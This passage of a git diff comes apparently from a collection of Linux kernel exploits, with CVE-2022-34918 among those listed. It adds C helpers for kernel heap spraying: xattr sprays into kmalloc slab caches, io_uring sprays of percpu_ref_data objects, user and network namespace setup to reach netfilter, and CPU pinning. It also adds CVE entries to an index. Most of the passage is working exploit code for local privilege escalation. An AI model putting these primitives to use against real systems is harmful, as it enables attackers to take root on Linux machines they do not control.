* @spray_size: Number of objects to put into `kmalloc-64`
|
||||
*/
|
||||
void spray_simple_xattr(char *filename, uint32_t spray_size) {
|
||||
|
||||
char attribute_name[ATTRIBUTE_NAME_LEN];
|
||||
|
||||
/* Mount a new tmpfs to be able to set security xattr */
|
||||
if (mkdir("/tmp/tmpfs", S_IRWXU) == -1 && errno != EEXIST)
|
||||
do_error_exit("mkdir");
|
||||
|
||||
if (mount(NULL, "/tmp/tmpfs", "tmpfs", 0, NULL) == -1)
|
||||
{
|
||||
do_error_exit("mount");
|
||||
}
|
||||
/* Create a file to the set attributes */
|
||||
int fd = creat(filename, 0644);
|
||||
close(fd);
|
||||
|
||||
for (uint64_t i = 0; i < spray_size; i++) {
|
||||
/* Need that the name is allocated within `kmalloc-256` */
|
||||
snprintf(attribute_name, ATTRIBUTE_NAME_LEN, "security.attr%215lu-%s", i, XATTR_DELETION_NAME);
|
||||
create_xattr(filename, attribute_name);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* create_xattr(): Add an xattribute to a file with the value "value"
|
||||
* @filename: Name of the concerned file
|
||||
* @attribute_name: Attribute name
|
||||
*/
|
||||
void create_xattr(const char *filename, char *attribute_name) {
|
||||
|
||||
if (setxattr(filename, attribute_name, XATTR_VALUE, strlen(XATTR_VALUE), XATTR_CREATE) < 0)
|
||||
do_error_exit("setxattr");
|
||||
}
|
|
@ -0,0 +1,46 @@
|
|||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <syscall.h>
|
||||
#include <linux/io_uring.h>
|
||||
|
||||
#include "uring.h"
|
||||
#include "log.h"
|
||||
#include "util.h"
|
||||
|
||||
/**
|
||||
* spray_uring(): Spray different caches of the kernel heap
|
||||
* @spray_size: Size to spray
|
||||
* @fd_buffer: Buffer used to store information about the allocated objects
|
||||
*
|
||||
* This spray is mainly used to spray the cache `kmalloc-64` with `percpu_ref_data` objects
|
||||
*/
|
||||
void spray_uring(uint32_t spray_size, struct fd_uring *fd_buffer) {
|
||||
|
||||
for (uint64_t i = 0; i < spray_size; i++) {
|
||||
|
||||
fd_buffer[i].params = malloc(sizeof(struct io_uring_params));
|
||||
if (!fd_buffer[i].params)
|
||||
do_error_exit("malloc");
|
||||
memset(fd_buffer[i].params, 0, sizeof(struct io_uring_params));
|
||||
|
||||
fd_buffer[i].fd = io_uring_setup(SPRAY_NB_ENTRIES, fd_buffer[i].params);
|
||||
if (fd_buffer[i].fd < 0)
|
||||
do_error_exit("io_uring_create");
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* release_uring(): Release percpu_ref_data objects allocated
|
||||
* @fd_buffer: Buffer that stores io_ring_ctx fds
|
||||
* @buffer_size: Size of the previous buffer
|
||||
*/
|
||||
void release_uring(struct fd_uring *fd_buffer, uint32_t buffer_size) {
|
||||
|
||||
for (uint32_t i = 0; i < buffer_size; i++) {
|
||||
close(fd_buffer[i].fd);
|
||||
}
|
||||
free(fd_buffer);
|
||||
}
|
|
@ -0,0 +1,80 @@
|
|||
#define _GNU_SOURCE
|
||||
#include <stdint.h>
|
||||
#include <stdlib.h>
|
||||
#include <sched.h>
|
||||
#include <stdio.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <string.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#include "log.h"
|
||||
#include "util.h"
|
||||
|
||||
/**
|
||||
* write_file(): Write a string into a file
|
||||
* @filename: File to write
|
||||
* @text: Text to write
|
||||
*/
|
||||
void write_file(const char *filename, char *text) {
|
||||
|
||||
int fd = open(filename, O_RDWR);
|
||||
|
||||
write(fd, text, strlen(text));
|
||||
close(fd);
|
||||
}
|
||||
|
||||
/**
|
||||
* new_ns(): Change the current namespace to access to netfilter and
|
||||
* to be able to write security xattr in a tmpfs
|
||||
*/
|
||||
void new_ns(void) {
|
||||
|
||||
uid_t uid = getuid();
|
||||
gid_t gid = getgid();
|
||||
char buffer[0x100];
|
||||
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS))
|
||||
do_error_exit("unshare(CLONE_NEWUSER | CLONE_NEWNS)");
|
||||
|
||||
if (unshare(CLONE_NEWNET))
|
||||
do_error_exit("unshare(CLONE_NEWNET)");
|
||||
|
||||
write_file("/proc/self/setgroups", "deny");
|
||||
|
||||
snprintf(buffer, sizeof(buffer), "0 %d 1", uid);
|
||||
write_file("/proc/self/uid_map", buffer);
|
||||
snprintf(buffer, sizeof(buffer), "0 %d 1", gid);
|
||||
write_file("/proc/self/gid_map", buffer);
|
||||
}
|
||||
|
||||
/**
|
||||
* set_cpu_affinity(): Pin a process to a CPU
|
||||
* @cpu_n: CPU to use
|
||||
* @pid: pid of the process to attach
|
||||
*/
|
||||
void set_cpu_affinity(int cpu_n, pid_t pid) {
|
||||
cpu_set_t set;
|
||||
|
||||
CPU_ZERO(&set);
|
||||
CPU_SET(cpu_n, &set);
|
||||
|
||||
if (sched_setaffinity(pid, sizeof(set), &set) < 0)
|
||||
do_error_exit("sched_setaffinity");
|
||||
}
|
||||
|
||||
/**
|
||||
* generate_tmp_filename(): Generate a filename to be used with
|
||||
* the xattr spray
|
||||
*
|
||||
* Return: New generated filename
|
||||
*/
|
||||
char *generate_tmp_filename(void) {
|
||||
static char buffer[FILENAME_MAX_LEN];
|
||||
static uint64_t counter = 0;
|
||||
|
||||
snprintf(buffer, FILENAME_MAX_LEN, "/tmp/tmpfs/file%lu", counter);
|
||||
counter++;
|
||||
|
||||
return buffer;
|
||||
}
|
|
@ -13,3 +13,7 @@ ExplorerItems:
|
|||
- ConfigFile: CVE-2022-24122/CVE-2022-24122.yaml
|
||||
- ConfigFile: CVE-2022-0185/CVE-2022-0185.yaml
|
||||
- ConfigFile: CVE-2022-1679/CVE-2022-1679.yaml
|
||||
|
||||
- ConfigFile: CVE-2022-0185/CVE-2022-34918.yaml
|
||||
- ConfigFile: CVE-2022-32250/CVE-2022-32250.yaml
|
||||
- ConfigFile: CVE-2022-23222/CVE-2022-23222.yaml
|
||||
|
|
Loading…
Reference in New Issue